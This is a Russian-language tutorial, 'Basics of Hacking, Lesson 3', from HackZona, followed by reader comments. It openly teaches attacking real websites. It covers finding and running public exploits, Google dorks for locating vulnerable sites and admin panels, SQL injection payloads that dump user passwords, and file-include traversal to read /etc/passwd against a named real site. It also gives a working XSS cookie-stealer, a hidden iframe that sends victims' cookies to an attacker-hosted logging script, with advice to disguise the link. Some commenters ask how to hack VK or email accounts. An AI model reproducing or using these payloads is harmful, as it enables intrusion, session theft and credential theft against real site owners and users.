Основы хакерства. Урок 3 — HackZona.Ru

Основы хакерства. Урок 3

Основы хакерства. Урок 3

Тип статьи:
Со старой ХакЗоны.
Источник:
Вступление.
Здравствуйте уважаемые читатели. Мы продолжаем значиться азами веб хакинга. Это 3 урок и вот какие темы мы сегодня разберем:

  • Сплоиты структура и использование
  • Google hacking
  • Более подробное изучение таких уязвимостей как:
    -sql injection
    -xss
    -php include


Сплоиты.
Или эксплоиты. Это программы или скрипты которые автоматически реализуют какую либо уязвимость. Мы будем знакомиться с эксплоитами для веб приложений.
Кроме них существуют эксплоиты для прикладных программ. Они более сложные и тебе пока рановато их изучать.
Итак, возьмем инъекцию из прошлого урока

http://www.site.us/main.php?id=18646644+union+select+1,2,3,name,password,6,7+from+user/*<br><br>
Представим, что эта уязвимость была обнаружена в какой то СMS с названием CoolCMS
Что бы каждому кто хочет взломать этот движок не нужно было раскручивать sql injection самому,
мы напишем эксплоит, который будет реализовывать уязвимость и выдавать только логин и пароль администратора.
Приводить текст эксплоита я не буду а только разберем суть алгоритма:

Сначала нужно сделать обратиться  к сайту с составленным запросом для вывода логина и пароля.<br>
 
Далее нам вернется страничка с аккаунтом<br>
 
Теперь нужно пропарсить страницу и найти логин пароль.<br><br>
Все. Ну кончено это самый примитивный пример.
Но надеюсь ты понял зачем нужны эксплоиты. Алгоритм эксплоита привиденного выше можно реализовать практически на любом языке программирования.
Но обычно эксплоиты для веб приложений пишутся на PHP или Perl
Давайте теперь разберем классический сценарий:

Твоя цель взломать какой то сайт. Зайдя на него ты видишь в подвале такую надпись:
Power by PHP-nuke 8.0
Это значит сайт работает на движке найков.
Теперь нужно попробовать найти паблик эксплоиты под эту версию.
Можно пойти на багтрак, но я предпочитаю пользоваться поисковиком:
PHP-nuke 8.0 exploit
После непродолжительного парсинга ссылок мы находим сплоит:
<br>
http://milw0rm.com/exploits/3346<br>

Видим надпись
#!/usr/bin/perl

Это значит эксплоит написан на perl.
Далее видим это:
#0day exploit for PHP-nuke <=8.0 Final

0day значит эксплоит нулевого дня. Т.е. под него еще не выпущено заплаток под эту версию.
Итак, сполит на перл. Если у тебя стоит linux то запустить его можно командой

Perl exploit.pl


С windows посложнее. Тут придется поставить интерпретатор для языка. Но не бойся это не сложно. Скачать его можно здесь
После установки можно так же воспользоваться командой perl в консоли.

Perl exploit.pl


Далее программа покажет необходимые аргументы для этого эксплоита.
В большинстве случаев понадобится только адрес сайта.
Таксс, раз разговор зашел про запуск давайте разберем как использовать php эксплоиты.
Вообще желательно поставить php+apache+mysql. Т.к. это пригодится нам в будущем для тестирования движков.
Apache — это сервер
mysql — это база данных.
Мануал по установке можно найти здесь.
После этого достаточно скопировать php сплоит в папку www и запустить из браузера.

localhost/exploit.php


Либо в командной строке набрать
php путь до сплоита
В следующем уроке разберем исходник настоящего эксплоита.

Google hacking.
Поиск бажных сайтов
Возьмем опять же уязвимость PHP-nuke 8.0. Давайте с помощью поисковика найден сайты которые построенные на основе этого движка.
К этим сайтам можно применить наш сплоит. Запрос в google будет примерно таким:
Site: PHP-nuke 8.0

Поисковик выдаст нам список сайтов, на которых присутствует строка: PHP-nuke 8.0. В большинстве случаев это буду сайты которые нам нужны.Потом открываем любой сайт и применяем сплоит.
Надеюсь понятно, что можно искать любые бажные движки. Можно просто зайти на любой багтрак и быбрать уязвимый двиг, под который есть сплоит. И далее с помощью гугла найти сайты с этим движком.
В прошлом уроке я показывал как искать ресурсы с возможным php include bug:

inurl: page=


inurl ищет указанную строку в адресе сайта
Можно сделать такой запрос:

inurl:id=1


и гугл выдаст ссылки, в которых присутствует строка id=1. Некоторые из них возможно уязвимы к sql injection.
А если сделать так:

inurl:page= and .us


То гугл найдет все сайты с которые находятся в зоне .us(американские)
Кстати, еще можно указать тип документа:

filetype:asp


Гугл выдаст нам найденные asp сценарии.
Поиск админкиТеперь давайте разберем как гугл может помочь нам при атаке на конкретный сайт.
Во первых поиск административной панели aka админки. Бывают случаи, когда например с помощью sql injection удалось вытянуть аккаунт администратора, но найти админку не удается.
Вот стандартные пути:

www.site.us/admin<br>
www.site.us/administrator<br>
www.site.us/admin.php


Но бывает, что у админов есть немного мозгов. И они прячут админ панель в недры дирикторый сайта. Что бы найти их нам опять же поможет гугл
Site: www.site.us admin

Или

Site: www.site.us admin.php


Ну и тому подобные запросы.
А вот такой запрос найдет все текстовые файлы сайта

Site: www.site.us filetype:txt


Можно попробовать поискать интересные файлы, что то вроде:

Site: www.site.us filetype:txt password.



Продолжаем знакомится с xss php include sql injection
Xss
Итак, на прошлом уроке мы научились искать xss, сейчас я покажу из за чего проиходит ошибка и каким образом можно украсть и подменить файлы cookies.
Рассмотрим небольшой сценарий:

[form name="form" action="questbook.php" method="GET"]<br>
[input type=text name="text"]<br><br>
[input type=submit name="submit" value="Send"]<br>
[?php<br>
$message=$_GET[text];
Echo $message;
?]


Сначала в переменную $message считывается значение text из массива GET. Далее мы просто выводим надпись. Что касается формы, то в ней расположены текстовое поле (text) и кнопка для отправки сообщения.
Так вот. Входящяя информация Никак не фильтруется, т.е. пользователь может ввести любые символы в текстовое поле.
А если ввести скрипт, то он сответстенно выполнится.
Фактически это и есть причина xss.
Так теперь даавйте попробуем украсть Куки.
У нас есть xss такого вида.

www.site.us/questbook.php?text=[script]alert(xss)[/script]


Итак, давайте введем такой скрипт (можешь использовать xss с прошлого урока):
<br>
www.site.us/questbook.php?text=[script]alert(document.cookie)[/script]


Такой скрипт выдаст нам наши Куки. Но нам нужны Куки юзера(админа), причем Куки эти нужно записать в лог файл.
Дело в том, что читать Куки от данного сайта, может только сам данный сайт. Поэтому поступаем так:
Регестрируемся на бесплатном хостинге с поддержкой php (в конце приведу список), далее создаем файл Snif.js таким содержанием:

Snif.js
document.write('[iframe width=1 height=1 style="position: absolute; visibility: hidden;" <br>src="'+'http://хост/write.php'+'?host='+location.host+'&cook='+document.cookie+'"][/iframe]');


Этот код открывает невидимый фрейм, в котором загружается файл 'http://хост/write. (ему передаются в переменных host и cook хост и COOKIES человека, который открыл страницу).
Так как этот фрейм будет являться частью самой зараженной странички, он будет иметь доступ к COOKIESам этого сайта.
Далее в сценарии write.php мы просто запишем файлы Кук:

Write.php<br>
[?<br>
$file = fopen("cookies.txt","a");<br>
 
fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET[host].", COOKIES=.$_GET[cook].rn");<br>
 
fclose($file);<br>
?]<br><br>
Такс у нас есть файл с javascript кодом который ворует Куки, у нас есть файл которые эти Куки сохраняет. А скрипт в xss будет такой:

www.site.us/questbook.php?text=[script src=http://хост/snif.js][/script]


Все, осталось только дать ссылку жертве.
Напоследок вот еще что выше привиденный адрес довольно подозрительный. Его лучше закодировать в шестнадцатеричный код. Это можно сделать <href=#>
PHP include
Опять же наипростейший пример:

[?php<br>
$f=$_GET[file];<br>
if(file_exists($f)) <br>
 
Include(file);<br>
?]


Как видишь функция include подгружает указанный файл. Проме include существует почти аналогичная функция require.
Так вот. Данные берутся из get массива. Т.е. мы легко из можем подделать:
x3k.ru/
www.site.us/include.php?file=/etc/passwd

x3k.ru/Это пример из прошлого урока. Теперь разберем еще один кусок кода:

[?php<br>
$f=$_GET[file];<br>
$f2=fopen($f.txt,r));<br>
?]<br>

Тут уже используется функция fopen, которая также уявзима.
В коде мы к имени файла прибавляем расширение .txt т.е. когда мы будет пытаться читать локальные файлы это будет выглядеть так:
<br>
/etc/passwd.txt



Естественно ничего мы прочитать не сможем. Выход использовать NULL байт.
%00 нуль байт. После его вставки часть строки обрубается.
Смотри:
<br><br>
 /etc/passwd%00.txt


В итоге будет:
<br><br>
/etc/passwd


А вот на примере:
<br><br>
www.site.us/include.php?file=/etc/passwd%00


Бывает что и это не помогает прочитать файлы. Иногда нужно подняться на несколько дирикторий выше что бы появилась возможность посмотреть файл. Смотрим на примере:

www.site.us/include.php?file=../../../../../../../../../../../../../etc/passwd%00


Итак во первых для просмотра файла /etc/passwd нужно перейти в корневую дирикторию и далее зайти в папку /etc.
Тоeсть сначала мы добираемся до корня. Это делается с помощью двух точек и слеша. Дело в том что в unix системах…
означает каталог выше. Т.к. расположение файла неизвестно и надежнее будет поставить побольше знаков «../»
Всегда обращай внимание на ошибки которые появляются после вставки какого либо запроса.
Вот смоти:

Php include bug <br>
http://www.wkar.msu.edu/sportstalk/page.php?StaffID=37&fill=[hacked]


Смотрим на ошибку:

Warning: include(content/[hacked].php) [function.include]: failed to open stream: No such file or directory in /home/httpd/htdocs/sportstalk/page.php on line 23


Как видишь используется функция include() к имени прибавляется расширение .php, значит нужен NULL byte, к томуже мы узнали расположение текущего сценария (/home/httpd/htdocs/sportstalk/page.php).

SQL injection
На прошлом уроке я обещал подробнее рассказать про уязвимость SQL injection, этим мы сейчас и займемся.
Во первых разберем небольшую иерархию.

База данных<br>
Таблица<br>
Столбец<br>
Поле<br>

На примере это выглядит так:

База данных onlineshop
Таблица onlineshop.users
-----------------------
| Login password |
------------------------
Stas 123456
Misha 123456
Maxim 123456
Roma 123456
------------------------

Что сдесь что?:
Login password это столбцы. Имена пользователей и пароли это поля. Вот собственно и все. А вот так составляется запрос в php:
<br>
..<br>
$q=SELECT * FROM USERS where login=$login password=$pass<br>
..<br>
Во первых

SELECT выбирает данные из таблицы

Where задает условие, т.е. в нашем случае нам нужно выбрать данные с определнные логином и паролем.
Вот собственно и ошибка. Если подставить $login или $pass не фильтруются, то появляется возможность выполнять SQL команды.


Теперь конкретно как мы это делаем:
Допустим где то на сайте нашли ниъекцию:
<br><br>
www.site.us/sql?id=1


Далее мы подобрали что столбцов 6:
Активные 3,4
<br>
www.site.us/sql? id=1+union+select+1,2,login,password,5,6+from+onlineshop.users /*


Это покажет нам аккаунт первого пользователя. Как правило таковым является администратор. Если нужно выбрать конкретного пользователя поступаем там:
<br>
www.site.us/sql?login=1+union+select+1,2,login,password,5,6+from+onlineshop.users+limit 1,2 /*


Так выбираем 2 пользователя.
Замечу что знак пробела мы заменяем символом +. А знак /* означает комментарий. Значит после этого знак весь ненужным запрос будет обрезан.
И еще допустим с помощью order by мы подобрали кол во столбцов.
Делаем так:

www.site.us/sql?id=1+union+select+1,2,3,4,5,6/*


По идее мы должны увидить читабельные столбцы, но бывает, что вывода не проиходит.
Тогда нужно поступать так:

www.site.us/sql?id=-1+union+select+1,2,3,4,5,6/*



Послесловие:
Ну вот.
Советую получше изучить mysql и php, а также как они взаимодействуют друг с другом.
На следущем уроке мы будет разбирать реальный сплоит. Также я расскажу про ReversIP. Покажу несколько инструментов, которые пригодятся при взломе. Так же мы будет продолжать знакомится с уязвимостями.
Я расскажу что такое обход фильтрации в xss В разделе про PHP include мы будем разбирать как читать и
использовать в своих целях логии apache. Еще мы конечно же будет подробнее изучать скуль инъекции. Покажу опять же обход фильтрации и особенности 5 ветки mysql
Ps в комментариях прошу не флудить. Лучше задавайте вопросы по статье.
Несколько бесплтных хостингов с поддержкой php
www.yard.ru<br>
www.holm.ru/?p=34880<br>
www.hostland.su/<br>
www.hut.ru/<br>
Нравится
Не нравится

25 комментариев

16:26
Че такое подвал на сайте????
20:35
я либо дурак, либо чето не то тут написано. Вобще нечерта не получаеться!
14:32
Я первый кто отпишу... Нашел пару недочетов в начале, но к концу о них забыл.. Вообще хочу сказать, что как автор ты офигенно пишешь. И если ты реально все знаешь, что пишешь, а не просто лазаешь по всяким источникам, то это... очень пахвально. Я хотел бы узнать, сколько тебе лет. Будет время - отпиши в личку)
14:37
АфтаР пеши есчо! =))) реально круть =))) Жду следующих уроков =)
15:18
пасиб пасиб)
kazin8, отпишии пожалуйста недочеты. Буду очень признателен
16:47
Стрэнджер, спасибо)
17:04
Power by PHP-nuke 8.0 вот. обычно Powered by PHP-nuke 8.0. Так же, для php скриптов тоже есть самые обычные интерпретаторы) Есть еще немного пунктуационных ошибок. Но это мелочи)) Стиль и смысл - главное. А они в твоей статье имееются сполна)
23:47
Как насчет того, чтобы добавить эти статьи в список слева?
09:47
ну я думаю всему свое время)
14:47
тулзы для кодирования символов (забыл ссылку дать)
http://x3k.ru/
12:11
полезная вещь... но я где то на инаттак кажется читал как правильно кодировать url)
06:12
я все здесь понял, кроме одного конешно как 2 файла подсунуть жертве чтоб кукисы спиздилить автор объясни мне по понятней напиши мне в асю 354908551 расскажи мне об этом по понятней
20:22
А КАК ВЗЛОМАТЬ АККАУНТ В КОНТАКТЕ?????
05:57
научите взламывать мейл пажалуйста
23:35
К сожалению я ничего не понял. Я делал всё как написано...странно...или я настолько туп или просто недопонял..если не составит трудностей напишите в асю 383925183
01:46
Вопрос по XSS. Допустим я снифанул куки.. В какой файл на хостинге они сохранятся? Спасибо!
ЗЫ: Статья супер!)
21:41
Супер!!!! мне оч надо
автор молодец!
08:13
хакер аууууууууууууууууу
01:29
епт wow отупил меня вродь все понятным языком написано но чот не фига не пойму)
22:20
так что perl делает, я так и не понял? объясните плз.
14:03
Огромное спасибо за статьи для новичков :)
Вот такой дурацкий вопрос: могло ли на Гугле что-то поменяться? У меня по запросам типа Site: www.site.us admin.php ничего полезного не ищется :( Или запрос пишу не так?
P.S. navalu, подвал (footer) - то, что находится в самом низу веб-страницы (там обычно бывает написано Copyright, а иногда ещё кое-что интересное)
13:20
UPD Поиск на Гугле - работающий пример:
site:mysite.ru inurl:admin
12:09
Люди плиз помогите взломать одну прогу (она делает обычное видео в 3D)!
Если кто-то захочет мне помочь напишите на мое мыло [email protected] ,потом я дам ссылку на не
13:53
navalu подвал на сайте это => просмотреть исходник сайта и крутишь колесо своей мыши на полную вниз (если оно тебе нужно)
13:59
автору особый респект!!!! ВСЕ статьи на Супер ;-)
ток малёх не очень понятно про применение эксплоита....
"копируем в www.... запускаем через браузер...."
вот я тут не пойму ... копировать в www это в смысле к себе на сервер или в командную строку
хммм на вогончике сервак FTP



После этого достаточно скопировать php сплоит в папку www и запустить из браузера.

localhost/exploit.php

Либо в командной строке набрать
php путь до сплоита
В следующем уроке разберем исходник настоящего эксплоита.

путь на сервер куда загрузили эксплоит? ( мой сервер)